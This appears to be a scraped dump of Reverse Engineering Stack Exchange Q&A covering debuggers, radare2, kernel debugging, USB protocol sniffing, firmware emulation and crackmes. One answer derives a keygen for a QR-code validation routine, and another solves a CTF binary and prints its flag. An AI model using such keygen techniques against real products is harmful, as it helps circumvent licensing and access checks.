    On x86 32bit windows the FS segment register points to a structure called the Thread Information Block or the TIB for short. This structure is created by the kernel on thread creation and is used to support OS related functionalities, services and APIs.

    \n

    Examples of data TIB usage are:

    \n
      \n
    1. Thread Local Storage.
      2. \n
    2. the Heap.
      3. \n
    3. the Stack.
      4. \n
    4. SEH exception chain.
      5. \n
    5. Access to the Process Environment Block (which serves a similar, process level goal).
      6. \n
    \n

    And many other...

    \n

    To predict the actual value of a dereference into the FS register, you'll need to consult a mapping of that (only partially documented) structure for the specific OS version you're working with. For example, the TIB wikipedia page I mentioned earlier describes a 32bit windows TIB layout.

    \n

    On linux the GS register is used for a similar purpose regardless of register size, and 64bit intel windows uses both the FS and GS registers.

    \n

    The information stored in the TIB should not be used directly by programs, how ever specific members of the structure often are used for unintended purposes such as detecting debuggers in more prevalent ways.

    \n

    As you can see, other segment registers are rarely used.

    \n

    A bit of history

    \n

    Although the segment registers are used for OS-related functionality, that was not the intended goal segment registers were made for. In the past, when CPU register sized varied between 8 and 16 bit, addressing was highly limited and only 64KB of address space was available. Since original CPUs were only running in Real Mode (and not Protected Mode), that address space had to be shared with all running services, processes, connected peripherals, etc...

    \n

    To bypass that limitation, the Memory Segmentation was brought into use in two forms. One was Protected Mode VS Real Mode, and the other was the segment registers - which were used as an offset for the actual registers being used for addressing. This allowed a greatly increased addressing range and was considered a valid solution. In the days of 32bit protected mode processors, where 4GB of Virtual Addressable Space is available to each process, and certainly with 64 bit CPUs, the segment registers are rarely used for their original goal (except for highly low level components such as Real Mode boot loaders, which might still need the extra addressing).

    \n

    P.S.

    \n

    DS stands for Data Selector.

    \n" }, { "Id": "16341", "CreationDate": "2017-09-15T04:06:37.010", "Body": "

    I have the line

    \n\n
    CMP BYTE PTR DS:[EAX+1620], 0\n
    \n\n

    How do I find the memory address of EAX+1620 so I can monitor it in ollydbg? I click it and nothing helpful comes up in the context box at the bottom of the window.

    \n\n

    Screenshot here, unnecessary info obscured:

    \n\n

    \"enter

    \n\n

    Using Follow in Dump -> Selection on this line will take me to address 00A9612A, but I need to find EAX+1620

    \n", "Title": "How do I find address of a global variable in Ollydbg?", "Tags": "|ollydbg|address|", "Answer": "

    if eax is valid address you can follow in dump from the information pane \n(small pane between cpu window and dump window)

    \n\n

    see screen shot

    \n\n

    \"enter

    \n" }, { "Id": "16354", "CreationDate": "2017-09-16T18:17:29.000", "Body": "

    I'm pretty new to reverse engineering, and I have several times seen that programs make requests to certain websites with specific host names.

    \n\n

    I tried to use a debugger and checked for the URL it posts to as binary string (referenced strings) and in the memory map but surprisingly I found nothing. The URL must be there some where after all the program knows how to send data to a specific host.

    \n\n

    How do I find and change this URL?

    \n", "Title": "Change URL a program sends data to", "Tags": "|disassembly|decompilation|exe|", "Answer": "

    The best way to find this URL is looking into EXE with disassembler like IDA(you can use free version for this).

    \n\n

    It will disassemble EXE and then you can search for this string. If URL really isn't in the file, then you must locate function that is sending informations to the website. The best way is look for functions that are using Windows' network API. Then place some breakpoints to look what function is this one you are looking for. And now trace down the URL variable. Look where it came from, is it loaded from file, or registry, or anything else.

    \n\n

    Now when you know where is the URL in-file you can change it with hex editor(if it is hardcoded, or change the file/registry).

    \n\n

    Note that you need a basics of assembler to do it.

    \n\n

    Or the fast(and not too good) way is to change hosts file :)

    \n" }, { "Id": "16355", "CreationDate": "2017-09-16T19:07:59.633", "Body": "

    As the question says I need to reverse a stripped elf binary with radare2. This binary is also statically linked. I already reversed it in IDA by identifying statically linked libraries using lscan and importing the .sig files provided by lscan into IDA in order to resolve function names.

    \n\n

    I don't know how to import these files to radare2. Also I don't know if the same solution applies to radare2.

    \n", "Title": "reversing stripped & statically linked binary with radare2", "Tags": "|binary-analysis|elf|radare2|", "Answer": "

    Seems like lscan is written to work with IDA. However, lscan is based on FLIRT signature files which can be also read by radare2 (See the Zignatures section of this answer). There are several things you can do with radare2 to achieve similar results:

    \n\n

    Import IDA databases to radare2

    \n\n

    You can easily import IDC and IDB files from IDA to radare2 using a simple scripts which exists in radare2ida repository.

    \n\n
    \n

    This repository contains a collection of documents, scripts and\n utilities that will allow you to use IDA and R2, converting projects\n metadata from one tool to the other and providing tools to integrate\n them in a more useful way.

    \n
    \n\n

    Export from IDA

    \n\n

    To export IDA database to IDC file click on File >> Produce file >> Dump databse to IDC file...

    \n\n

    To save the current databse as an IDB file click File >> Take database snapshot... or use the shortcut Ctrl+Shift+W

    \n\n

    Import to Radare2

    \n\n

    To import the IDC metadata to radare2 use idc2r.py which shipped with radare2ida:

    \n\n
    idc2r.py file.idc > file.r2\n
    \n\n

    The command reads an IDC file exported from an IDA Pro database and produces an r2 script containing the same comments, names of functions etc. You can import the resulting file.r2 by using the dot . command of radare:

    \n\n
    [0x00000000]> . file.r2\n
    \n\n

    The . command is used to interpret radare commands from external sources, including files and program output. For example, to omit generation of an intermediate file and import the script directly you can use this combination:

    \n\n
    [0x00000000]> .!idc2r.py < file.idc\n
    \n\n

    Zignatures

    \n\n

    radare2 has its own format of the signatures called Zignatures, allowing to both load/apply and create signatures on the fly. They are available under the z command namespace:

    \n\n
    [0x00000000]> z?\n|Usage: z[*j-aof/cs] [args] # Manage zignatures\n| z            show zignatures\n| z*           show zignatures in radare format\n| zj           show zignatures in json format\n| z-zignature  delete zignature\n| z-*          delete all zignatures\n| za[?]        add zignature\n| zo[?]        manage zignature files\n| zf[?]        manage FLIRT signatures\n| z/[?]        search zignatures\n| zc           check zignatures at address\n| zs[?]        manage zignspaces\n
    \n\n

    The zf subcommands can be handy whenever you deal with FLIRT signatures. Therefore you can import FLIRT signatures from a file:

    \n\n
    [0x00000000]> zf?\n|Usage: zf[dsz] filename # Manage FLIRT signatures\n| zfd filename  open FLIRT file and dump\n| zfs filename  open FLIRT file and scan\n| zfz filename  open FLIRT file and get sig commands (zfz flirt_file > zignatures.sig)\n
    \n\n

    Regardless of FLIRT, you can also use zos [filename] from radare2 to dump signatures to a sdb file and zo [filename] to load it.

    \n\n

    Source Code

    \n\n

    As similar to list command of dgb, radare allows you to print lines from a source code file. Here's an example:

    \n\n
    $ gcc -m32 -g megabeets.c -o megabeets.bin\n$ r2 megabeets.bin\n[0x08048420]> aa\n[x] Analyze all flags starting with sym. and entry0 (aa)\n[0x08048420]> s main\n[0x080486cd]> CL\nfile .//megabeets.c\nline 36\n  022\n  023  int main(int argc, char *argv[])\n> 024  {\n  025      char *input;\n  026      puts(\"Megabeets\\n\");\n
    \n\n
    \n

    The C command is used to manage comments and data conversions. You\n can define a range of program's bytes to be interpreted as either\n code, binary data or string. It is also possible to execute external\n code at every specified flag location in order to fetch some metadata,\n such as a comment, from an external file or database.

    \n
    \n\n
    \n\n

    To know more I recommend you to read:

    \n\n\n" }, { "Id": "16374", "CreationDate": "2017-09-20T18:00:18.510", "Body": "

    My setup: Windows 10 with windbg and target machine is Windows 7 N SP1. I'm debugging via com (i know it's slow ;).

    \n\n

    So I get the process list with !process, one active process is Internet Explorer:

    \n\n
    kd>!process 0 0\n\n>PROCESS fffffa8001a3db30\n>SessionId: 2  Cid: 07e0    Peb: 7efdf000  ParentCid: 0a90\n>DirBase: 2cc0a000  ObjectTable: fffff8a002007620  HandleCount: 561.\n>\n>Image: iexplore.exe\n
    \n\n

    After that, I want to see in which mode the process is running. So I looked at the content of the PDE at the U/S flags.

    \n\n
    kd> !pte FFFFF6FB7EA00068\n                                       VA fffff6fd4000d000\n>PXE at FFFFF6FB7DBEDFA8    PPE at FFFFF6FB7DBF5000    PDE at FFFFF6FB7EA00068    PTE at FFFFF6FD4000D4D0\n>contains 0000000004000863  contains 0000000004001863  contains 000000007FC009E3  contains 0000000000000000\n>pfn 4000      ---DA--KWEV  pfn 4001      ---DA--KWEV  **pfn 7fc00     -GLDA--*K*WEV**  LARGE PAGE pfn 7fc9a\n
    \n\n

    The usermode/kernelmode flag is set to K. That says, that iexplorer.exe is running in kernelmode. Why? I thought those aplications are running in usermode.

    \n", "Title": "Kernel debug - internet explorer in kernelmode?", "Tags": "|windows|debugging|windbg|kernel-mode|kernel|", "Answer": "

    What you have listed in your question isn't going to tell you what mode a process is executing in, and there's a couple things wrong with the thought process.

    \n\n

    The help docs for !pte specify that the command takes a Virtual Address and displays PTE and PDE information about that address. The output of this command is kind of unintuitive because in actuality the PTE/PDE entries are physical addresses but Windows also maps them to kernel Virtual Kernel addresses as well.

    \n\n

    In your output specifically the virtual address that you're analyzing is VA fffff6fd4000d000. What the output is showing is that the PXE entry for this Virtual Address is at the physical address 4000000 (this is given by the pfn entry and the lower portion is masked off for flags and etc), and is mapped at the virtual address FFFFF6FB7DBEDFA8.

    \n\n

    So then the next part is why does the output show that the pages are kernel mode. Based on what you're doing the address you got from !address is fffffa8001a3db30. Without going into too much detail about the internals of the kernel this address is the virtual address for an EPROCESS object which is a kernel data structure used to manage processes on the system. Additionally, every object the kernel allocates has a header prepended to it that the system uses for reference counting and and some other management functionality.

    \n\n

    You can see this header structure in windbg using the dt command: dt _OBJECT_HEADER and on x64 you'll notice that this structure is 0x30 bytes big. So the address of the actual EPROCESS is fffffa8001a3db30 but the base of the allocation includes the header which is fffffa8001a3db00.

    \n\n

    So basically what you're doing when you run that !pte command is analyzing the page table entries for the kernel EPROCESS object but as I said in the last paragraph this is only a structure that the kernel allocates and uses to manage resources for the system, so this address is always going to be a kernel mode address.

    \n\n

    To do what you actually want to do you want to use the following commands:

    \n\n\n\n

    Now, if you follow the above you'll get the stack trace for each thread. From there you can see where it's executing based on what module it's in. In particular, if you see nt!KiSystemServiceCopyEnd on the callstack that means that the thread has transitioned into kernel mode and is doing something.

    \n\n

    However that being said I'm still not sure what you want to achieve since as one of the comments on your post mentions all threads are going to transition to kernel mode all the time anyway because basically everything that happens on your system happens in kernel mode.

    \n" }, { "Id": "16377", "CreationDate": "2017-09-21T01:33:14.233", "Body": "

    I have an ELF executable I'm working on (got it from a previous CTF competition). The executable simply asks for a password, and then it prints out \"congrats\".

    \n\n

    \n\n
    \n\n

    The code snippets and my annotations are long, so I've included them in separate HTML links.

    \n\n

    Decompiled C-Code

    \n\n

    ELF Executable

    \n\n
    \n//Gives you an overview of what this program does in C.\nint main(int argc, char ** argv)\n{\n    int32_t result; // success value\n\n\n    if (argc > 1)\n    {\n        setup(); //Allocates an integer array (g1)\n\n        int32_t v1 = 0; //counter\n\n        while (true)\n        {\n            char v2 = *(char *) (*(int32_t *) ((int32_t)argv + 4) + v1); \n            int32_t v3 = *(int32_t *) (4 * v1 + (int32_t) & g1);\n\n            int32_t v4 = v1 + 1; //index in g1 array\n\n            if (check( (int32_t *) v3, (int32_t) v2) != 0)\n            {\n                puts(\"Nope\");\n                return -1;\n            }\n            if (v4 >= 31) //when we've reached our last index in array\n            {\n                break;\n            }\n            v1 = v4;\n        }\n        puts(\"congrats!\");\n        result = 0;\n    }\n    else\n    {\n        puts(\"usage ./smoothie \");\n        result = -1;\n    }\n    return result;\n}\n
    \n\n
    \n\n

    I've tried using GDB to debug through the program and IDA to understand the control-flow. My deduction ends up with 3 things:

    \n\n\n\n
    \n\n

    Here is IDA's control flow graph of check() (simple - 3 parts): \n\"First\n\"Possible\n\"Second

    \n\n

    Here is the control flow graph of check() click to enlarge:

    \n\n

    \"Graph

    \n\n\n\n
    \n\n

    I think the middle section does some calculations (add, sub, cdq & idiv, imul, and xor) that might be useful towards knowing what to pass as a password.

    \n\n

    Please guide me in the right direction (with hints if you can). Debugging the program yourself might make my question more clear.

    \n\n

    False Lead

    \n\n\n\n

    Despite any char input for the check(int32_t * array, (int32_t) input), the result will be the same regardless because of the pre-set values in the array. What can I do to correct this?

    \n", "Title": "How do I approach this CTF Debugging Program?", "Tags": "|assembly|debugging|decompilation|c|elf|", "Answer": "

    The way of solving this CTF is to analyze both setup() and check() methods (duh!). The first one is quite a long one but when you check what's going on it's quite simple. It's allocating a 20B of memory to store 5 x 4 B of data. It does it 31 times. The values that stored there looks like they are random but they are not. There are only 5 different values that are put in the first spot as well as in 3rd one.

    \n\n
    \n

    Values in 1st and 3rd slot are operation type values; 3rd, 4th - operands; 5th - operand & result

    \n
    \n\n

    If we check the check() function. We see that the parameters that are being passed are: one of the buffers created and filled in the setup() and a char of the flag. Based on the values found in the buffer there are mathematical operations that are conducted the values in the buffer.

    \n\n
    \n

    More info on the operations. There are few, based on the 1st and 3rd value. add, sub, mod, xor, mul.\n If we take for example the values for the first buffer: 0x01 0x81 0x65 0x0C 0x5A those would be spitted into; 0x01 - mod operation, 0x65 - add; so the char is (0x5A % 0x81) + 0x0C. We do simular (but different operations) on each of the buffers.

    \n
    \n\n

    What is the problem with this binary (or maybe it's intentional)? Well for almost all the cases the value calculated on the operands is not compared with the flag's char and this eax is not correctly set and we get 'None'. What would need to be fixed is to change the jump so that all the cases go through the check if the flag char. What you could do apart from modifying the binary is to trick gdb to behave properly.

    \n\n\n\n

    With this whenever breakpoint is triggered, you will print the calculated char and it will simulate the comparison to be ok and allowed the application to continue. With that you can run the app, hit a few times the 'c' and observe the flags

    \n\n

    And finally the flag

    \n\n
    \n

    flag{HereBeDaFlagForYoDebu?g?h}

    \n
    \n\n

    And a bit of explanation...

    \n\n
    \n

    for those two '?' it is either the control bytes are wrong or the operands and thus they are calculated wrongly. Maybe I would spend some time to find out and try to calculate them correctly but with current values what we are getting is something outside the ASCII printable.

    \n
    \n" }, { "Id": "16380", "CreationDate": "2017-09-21T14:31:05.107", "Body": "

    I'm currently only patching this code to return true, do you guys have any idea of how I could start making a generator to make valid codes? I can't understand the logic here.

    \n\n
      public static bool ValidateQrCode(string code)\n    {\n        if (code.Substring(0, 2) != \"DC\")\n        {\n            return false;\n        }\n        if (code.Length != 0x1a)\n        {\n            return false;\n        }\n        string s = code.Substring(2, 14);\n        byte[] buffer1 = new SHA256Managed().ComputeHash(Encoding.UTF8.GetBytes(s));\n        string str2 = ConvertToB36(Convert.ToInt32(buffer1[13])).PadLeft(2, '0');\n        string str3 = ConvertToB36(Convert.ToInt32(buffer1[10])).PadLeft(2, '0');\n        string str4 = ConvertToB36(Convert.ToInt32(buffer1[5])).PadLeft(2, '0');\n        string str5 = ConvertToB36(Convert.ToInt32(buffer1[0x11])).PadLeft(2, '0');\n        string str6 = ConvertToB36(Convert.ToInt32(buffer1[0x19])).PadLeft(2, '0');\n        return ((((code.Substring(0x10, 2) == str2) && (code.Substring(0x12, 2) == str3)) && ((code.Substring(20, 2) == str4) && (code.Substring(0x16, 2) == str5))) && (code.Substring(0x18, 2) == str6));\n    }\n    public static string ConvertToB36(int value)\n    {\n        string str = \"\";\n        while (value > 0)\n        {\n            str = \"0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ\"[value % 0x24].ToString() + str;\n            value /= 0x24;\n        }\n        return str;\n    }\n
    \n", "Title": "Reverse code check", "Tags": "|c#|", "Answer": "

    Well the algo is quite simple, let's try to break it down:

    \n
    \n

    if (code.Substring(0, 2) != "DC")

    \n
    \n

    It has to start with DC

    \n
    \n

    if (code.Length != 0x1a)

    \n
    \n

    and be of length 26 chars

    \n
    \n

    string s = code.Substring(2, 14);

    \n

    byte[] buffer1 = new SHA256Managed().ComputeHash(Encoding.UTF8.GetBytes(s));

    \n
    \n

    then take the 14 chars starting from third (skip DC) and calculate SHA256 on it.

    \n

    After that the checks are (extracted)

    \n
    \n

    string str2 = ConvertToB36(Convert.ToInt32(buffer1[13])).PadLeft(2, '0');

    \n

    code.Substring(0x10, 2) == str2

    \n
    \n

    so value on 13 index of SHA has to be equal (converted to BASE36) to 2 chars from the input starting from pos 16.

    \n

    The rest of the checks are similar.

    \n

    So your keygen would consist only the functions that you already has in the code.

    \n

    So the general key is in this form (psudocode)

    \n
    input = ""\nsha = SHA256(input)\nprint "DC"+input+sha[13].encode('base36')+sha[10].encode('base36')+sha[5].encode('base36')+sha[17].encode('base36')+sha[25].encode('base36')\n
    \n" }, { "Id": "16384", "CreationDate": "2017-09-22T04:08:25.107", "Body": "

    I am reversing an ELF64 executable created on AMD X86-64. I encountered this line near the end of the file and am puzzled to its meaning:

    \n\n
    nop    WORD PTR cs:[rax+rax*1+0x0]\n
    \n\n

    In this case rax contains 0x2329. However, nop means 'do nothing', so I am puzzled as to why there are arguments included on the line. The code is loaded with libc function calls so I am assuming the source code is C/C++ and not GAS.

    \n\n

    This post has good content but perror's explanation is more apropos and contains more \"why\" than a mere recital of the Intel docs.

    \n", "Title": "What kind of assembly language construct is this?", "Tags": "|disassembly|assembly|", "Answer": "

    There are mainly two usage of the nop instructions:

    \n
      \n

    1. They are quite often used as padding at the end of assembly procedures or in-between procedures. And, in this case one may want to pad with "more than one byte at the time", this is why they added extra arguments (that are just ignored most of the time).

      \n

      See: NOP instruction (Wikipedia) and NOP\u2014No Operation (x86 Instruction Set Reference).

      \n
      2. \n

    2. They can also be used to delay a bit the ALU in between two memory fetches in order to give the pipeline a chance to get a correct prediction of the data values. And, this is probably your case because this instruction perform a small arithmetic computation when computing rax+rax*1+0x0, therefore the ALU has is really delayed because of this operation.

      \n

      See: Delay Slot (Wikipedia).

      \n
      3. \n
    \n" }, { "Id": "16389", "CreationDate": "2017-09-22T20:41:35.907", "Body": "

    Summary

    \n\n

    I'm currently using wireshark to sniff USB serial packets from a program that sends data to FPGA boards. So far I'm able to acquire the packets and data, but I'm not sure how to test each command I find. I want to develop my own program that can do the same thing on a different platform than the one the original program operates on.

    \n\n

    Questions

    \n\n

    Would I get another program to connect to the USB serial connection and then test sending each command? What program would be good for testing?

    \n\n

    How would I go about figuring out the serial connection specifications? Baudrate, data bits, stop bits, parity, flow control, and forward?

    \n", "Title": "What process should I follow to sniff USB serial packets and then replicate them?", "Tags": "|serial-communication|", "Answer": "

    Well for starters you are going to want an in Kernel USB monitor like Linux has, a pass through USB analyzer (more expensive, but more flexible) or something like a logic analyzer.

    \n\n

    Here is a video that goes into great detail of doing the latter far more than anyone will here https://www.youtube.com/watch?v=4FOkJLp_PUw Note from the video https://opentechlab.org.uk/videos:011:notes

    \n\n

    To summarize you'll need a logic analyzer, potentially a way of getting the device to tell you it is about to send a packet in some manner (otherwise you will have better luck with a USB analyzer or in kernel USB monitor). Sigrok is software used there... but there are others.

    \n\n

    Here is a little python code the guy in the video uses which will probably be of use to you. Which is just a basic example of using pyusb he was using it to talk to whatever micro controller board he was debugging you could use it to talk to your FPGA perhaps as you figure out what it's protocol is doing.

    \n\n
    #! /usr/bin/env python3\n\nimport usb.core\nimport time\n\ndev = usb.core.find(idVendor=0x0925, idProduct=0xD100)\nif dev is None:\n  raise ValueError('Device not found')\n\nres = dev.ctrl_transfer(\n  bmRequestType=0x40,                       # OUT, VENDOR, DEVICE request\n  bRequest=1,                               # Request #1\n  wValue=0xCAFE,\n  wIndex=0xD00D,\n  data_or_wLength=[0x01, 0x23, 0x45, 0x67])\n
    \n\n

    The method you choose largely depends on what you need to know, if the device is functioning properly and you don't need to make changes to it, perhaps a software monitor is good enough. If it is indeed USB serial is it a dedicated chip? If so find it's datasheet... and investigate the circuit that may tell you some things. Common USB to serial chips are the the following which either use a standard USB CDC ACM protocol (check if chip in question is this then you can just grap the spec for it here ) or custom driver.

    \n\n

    Note that the USB end of the protocol itself is probably baud rate independent but you may need to tell the USB serial convert what rate to run at... it depends alot on how it was designed. Probing the Uart output pints of the controller would allow you to figure out the correct baud rate if you can't figure it out from the circuit itself.

    \n\n

    Another way to go about this would be to figure out at least one command that will give you a response... then exhaustively try different baud rates and configurations until you get the expected response.

    \n\n
      \n

    1. Silicon Labs CP2102 and variants. \nhttps://www.silabs.com/documents/public/data-sheets/CP2102-9.pdf

      2. \n

    2. MicroChip MCP2200 \nhttp://www.microchip.com/wwwproducts/en/en546923

      3. \n
    3. FT232R http://www.ftdichip.com/Products/ICs/FT232R.htm
      4. \n
    \n" }, { "Id": "16390", "CreationDate": "2017-09-22T21:09:57.733", "Body": "

    I'd wish to reverse engineer the firmware of the Netgear R8300 - Nighthawk X8 AC5000 Smart WiFi Router / R8300 (available to download here).

    \n\n

    I was able to extract the contents of the image using binwalk, however I'd wish to test some executable in a \"live\" situation. In order to do that I tried to use QEMU.

    \n\n

    Sadly, no matter what, I'm getting a system crash.
    \nI started with:

    \n\n
    $ qemu-system-arm -M vexpress-a9 -hda R8300-V1.0.2.100_1.0.82.chk \nWarning: Orphaned drive without device: id=scsi0-hd0,file=R8300-V1.0.2.100_1.0.82.chk,if=scsi,bus=0,unit=0\nqemu: fatal: Trying to execute code outside RAM or ROM at 0x04000000\n
    \n\n

    As far as I can understand QEMU has a driver but he doesn't know what do to with that.\nSo I tried to specify more params manually:

    \n\n
    qemu-system-arm -M vexpress-a9 \\\n   -drive file=R8300-V1.0.2.100_1.0.82.chk,format=raw \\\n   -device scsi-hd,id=scsi0-hd0\n\nqemu-system-arm: -device scsi-hd,id=scsi0-hd0: No 'SCSI' bus found for device 'scsi-hd'\n
    \n\n

    I tried to play with some different device type, but it seems that I can't find the correct bus.
    \nI even tried to split the image into different pieces (kernel and filesystem), but I still got a crash.

    \n\n

    I'm pretty new to reverse engineering, can I have some hints or suggestions on what should I do to boot my firmware image?

    \n\n

    EDIT. \nPlaying a little with the command I was able to get a different error message:

    \n\n
    $ qemu-system-arm -M vexpress-a9 -cpu cortex-a9 \\\n   -redir tcp:8888::80 -m 512 \\\n   -drive file=R8300V1.0.2.100_1.0.82.chk,format=raw \\\n   -device scsi id=scsi0-hd0,if=ide-hd\n\nqemu-system-arm: -device scsi: drive with bus=0, unit=0 (index=0) exists  \n
    \n\n

    I tried to specify a different bus, unit and index, but the error is still the same

    \n", "Title": "Unable to boot ARM disk image", "Tags": "|arm|qemu|", "Answer": "

    I generally try to avoid booting the whole embedded OS when analyzing a target system. Instead, try to run a single target binary with qemu-system-arm -E PATH=\"/bin:/usr/bin\" -E OTHERENVVARS=foo -g 10000 ./myTargetBinary.

    \n\n

    See slides 27+ in my presentation https://files.sans.org/summit/hackfest2015/PDFs/IoT-Devices-Fall-Like-Backward-Capacitors-Or-the-Month-Josh-Was-Forced-to-Wear-Pants-Josh-Wright.pdf. You may need to setup the appropriate chroot for the necessary libraries in myTargetBinary. Often, errors in running a binary requires more analysis to identify missing conf files, necessary environment variables, specific hardware access, etc., requiring some preliminary static disassembly prior to runtime analysis.

    \n" }, { "Id": "16392", "CreationDate": "2017-09-23T10:46:50.110", "Body": "

    I have a Chinese USB gaming mouse (04d9:a070) which has 4 color modes and 4 light levels. I know for a fact that this mouse is capable for showing at least 5 different color so it must be an RGB led (4 legs). The software is the worst I've ever seen and it's incredibly hard to change the color, brightness and mode so it works and doesn't just turn off. Now I'm planning to make my own control software (for Linux first).

    \n\n

    I have started with a simple guide \"Reverse Engineering a USB mouse (Updated 3rd May 2017)\" at Bytepunk (can't post a link but Google or DuckDuckGo should find that guide)

    \n\n

    I have already sniffed most of the things I need. I used USBlyzer on Windows with the awful control software and got a few hex strings and figured out how to change the color, brightness and mode in the hex strings.\nI pasted the data I discovered here\n (Pastebin)

    \n\n
    Clicking turn on lights from the Windows control software\n\nout: 07 07 01 00 00 00 00 00 <-- Is this a \"Commands coming in call\"?\nout: 07 09 01 02 00 00 00 00 <-- 07 09 01 0X where X is the color\nout: 07 0C 01 04 00 00 00 00 <-- 07 0Y 01 0Z where Y is the brightness and Z is the mode \nout: 07 13 04 00 00 00 00 00 <-- Is this a \"Commands sent call\"?\n\nX - OFF: 0 RED: 1 BLUE: 2 GREEN: 3 PINK: 4\nY - LOW: B MED: 9 HIGH: C \nZ - STATIC: 1 SLOW PULSE: 2 MED PULSE: 3 FAST PULSE: 4\n
    \n\n

    My problem is that when I try to \"write\" anything to the device it just hangs and I get a \"[Errno2] Entity not found\" error and the mouse needs to be replugged in order to make it work again. It doesn't \"disconnect\" but it stays in lsusb and nothing special shows up in dmesg.

    \n\n

    I pasted my modified python script to Pastebin

    \n\n

    I also applied a custom udev rule

    \n\n

    SUBSYSTEM==\"usb\", ATTR{idVendor}==\"04d9\", ATTR{idProduct}==\"a070\", GROUP:=\"plugdev\", MODE=\"0666\"

    \n\n

    I'm new to serial communications and reverse engineering so I don't know what to search for.\nI think I can post pictures and more data from the USBlyzer in the comments. This is my first post here so I don't have the reputation to give more links.

    \n\n

    Greetings, Santeri

    \n", "Title": "Need help with a USB gaming mouse", "Tags": "|linux|serial-communication|usb|", "Answer": "

    my understanding of USB is very low at best (even if I do develop some simple USB devices for a living) so read this with major prejudice...

    \n\n
      \n

    1. Your driver class and configuration must match the USB (mouse) device

      \n\n

      I do not know how your USB mouse is programmed but interface must be the same (CDC class can have more interfaces) and if not match then the USB will not work properly.

      \n\n

      So you need to know which pipes are used and which are input and output, if they use bulk or interrupt transfers.

      \n\n

      My bet is your mouse will be a HID class with use of only interrupt transfers. But if it is some crazy multimedia ergonomic multi feature sillyness it might be even CDC.

      2. \n

    2. Transfer of data

      \n\n

      Let assume you got HID so the device is communicating by control pipe0 and or interrupt pipes(1,2...).

      \n\n

      Now depending on the mouse firmware it might need a specific order of read/write commands otherwise the firmware will freeze or hang up till timeout.

      \n\n

      For example some commands do not return any data and can be send at any time ...

      \n\n

      Some commands return data in specific pipe and if not read back by host in time the firmware can crash/freeze.

      \n\n

      Another problem the mouse might be configurable and requesting some initialization sequence of codes/commands determining the mouse purpose/specs/whatever. Again if the firmware expects that first, sending any other command can freeze your mouse.

      \n\n

      Also some firmwares expect commands with timing and sending too often or too rarely is wrong in such case.

      \n\n

      Your sniffing data does not take into account any of this. Try to sniff also the other pipes (maybe with time stamps) and log all to something like this:

      \n\n\n\n

      Once done you should see what the device is sending back. It is important to see how many bytes an in what pipe. Then you can update your script and after you send your command read appropriate number of bytes back to host so your firmware on the mouse will not freeze up.

      3. \n
    \n" }, { "Id": "16393", "CreationDate": "2017-09-23T16:12:53.507", "Body": "

    I'm trying to understand the differences between the following function prologs of a number of obj-c function decompilations.

    \n\n

    I know they store variables for the caller to use when the function returns. But why the differences?

    \n\n

    Sample 1

    \n\n
    void * -[Issue ideal](void * self, void * _cmd)\nsub        sp, sp, #0x40\nstp        x22, x21, [sp, #0x10]\nstp        x20, x19, [sp, #0x20]\nstp        x29, x30, [sp, #0x30]\nadd        x29, sp, #0x30\nmov        x19, x0\n
    \n\n

    Sample 2

    \n\n
    void * -[Issue path](void * self, void * _cmd)\nstp        x26, x25, [sp, #-0x50]!\nstp        x24, x23, [sp, #0x10]\nstp        x22, x21, [sp, #0x20]\nstp        x20, x19, [sp, #0x30]\nstp        x29, x30, [sp, #0x40]\nadd        x29, sp, #0x40\nmov        x19, x0\n
    \n\n

    Sample 3

    \n\n
    void -[ContentView showPageThumb:page:data:guid:](void * self, void * _cmd, void * arg2, long long arg3, void * arg4, void * arg5)\nstp        x24, x23, [sp, #-0x40]!\nstp        x22, x21, [sp, #0x10]\nstp        x20, x19, [sp, #0x20]\nstp        x29, x30, [sp, #0x30]\nadd        x29, sp, #0x30\nmov        x20, x5\nmov        x21, x4\nmov        x22, x3\nmov        x19, x0\nmov        x0, x2\n
    \n", "Title": "Understanding ARM64 Obj-C Prolog", "Tags": "|disassembly|assembly|arm|", "Answer": "

    I haven't touched this stuff for a while, but I'd say compiler is simply saving opcodes or following a complicated template, perhaps to do with optimisation. Notice that

    \n\n
    stp        x24, x23, [sp, #-0x40]!\nstp        x22, x21, [sp, #0x10]\nstp        x20, x19, [sp, #0x20]\nstp        x29, x30, [sp, #0x30]\n
    \n\n

    does the same job as

    \n\n
    sub        sp, sp, #0x40\nstp        x22, x21, [sp, #0x10]\nstp        x20, x19, [sp, #0x20]\nstp        x29, x30, [sp, #0x30]\n
    \n\n

    plus stores one additional register x24 . This because the first example uses writeback addressing in [sp, #-0x40]!

    \n\n

    http://www.davespace.co.uk/arm/introduction-to-arm/addressing.html (a random google result on addressing modes in ARM).

    \n\n

    Same with your second example - it still allocates x50 bytes on the stack. The difference is rather superficial, they all do the same job. add,movs are not part of prologue IIRC.

    \n" }, { "Id": "16394", "CreationDate": "2017-09-23T20:37:40.973", "Body": "

    I'm reverse engineering the CrackMe which is written on Managed C++/C#.\nArguments are \"string\" (email in this case) and \"serial\". Serial is somehow depends on string and I need to understand how.

    \n\n

    I used dnSpy to disassemble the program and found onClick function which begins the process of checking if the serial was right: button2_onClick

    \n\n

    In the end of this function we can see a boolean function Check() which returns true if the serial was right: Check()

    \n\n

    As I'm new to reverse engineering (and especially to RE of .NET apps) so I need some explanations about the decompiled code we can see in these two functions:

    \n\n

    1) What exactly does

    \n\n
    md = <Module>.std.basic_string<char,std::char_traits<char>,std::allocator<char>\\u0020>.{ctor}(ref basic_string<char,std::char_traits<char>,std::allocator<char>\\u0020>4, ref basic_string<char,std::char_traits<char>,std::allocator<char>\\u0020>2);\n
    \n\n

    mean on line 25 of button2_onClick? I understand that this is some type of assignment, but no more.

    \n\n

    2) What these lines (14, 15 lines and so on, of Check()) do?

    \n\n
    *(ref basic_string<char,std::char_traits<char>,std::allocator<char>\\u0020>2 + 16) = 0;\n*(ref basic_string<char,std::char_traits<char>,std::allocator<char>\\u0020>2 + 20) = 0;\n
    \n\n

    3) What do the numbers (5, 6, 7 near the end of lines) mean?

    \n\n
    <Module>.std.basic_string<char,std::char_traits<char>,std::allocator<char>\\u0020>._Tidy(ref basic_string<char,std::char_traits<char>,std::allocator<char>\\u0020>5, true, 0u);\n\nbasic_string<char,std::char_traits<char>,std::allocator<char>\\u0020> basic_string<char,std::char_traits<char>,std::allocator<char>\\u0020>6;\n\nbasic_string<char,std::char_traits<char>,std::allocator<char>\\u0020>* right2 = <Module>.md5(&basic_string<char,std::char_traits<char>,std::allocator<char>\\u0020>7, str);\n
    \n\n

    4) Is it just a comparison of two strings in disguised form?

    \n\n
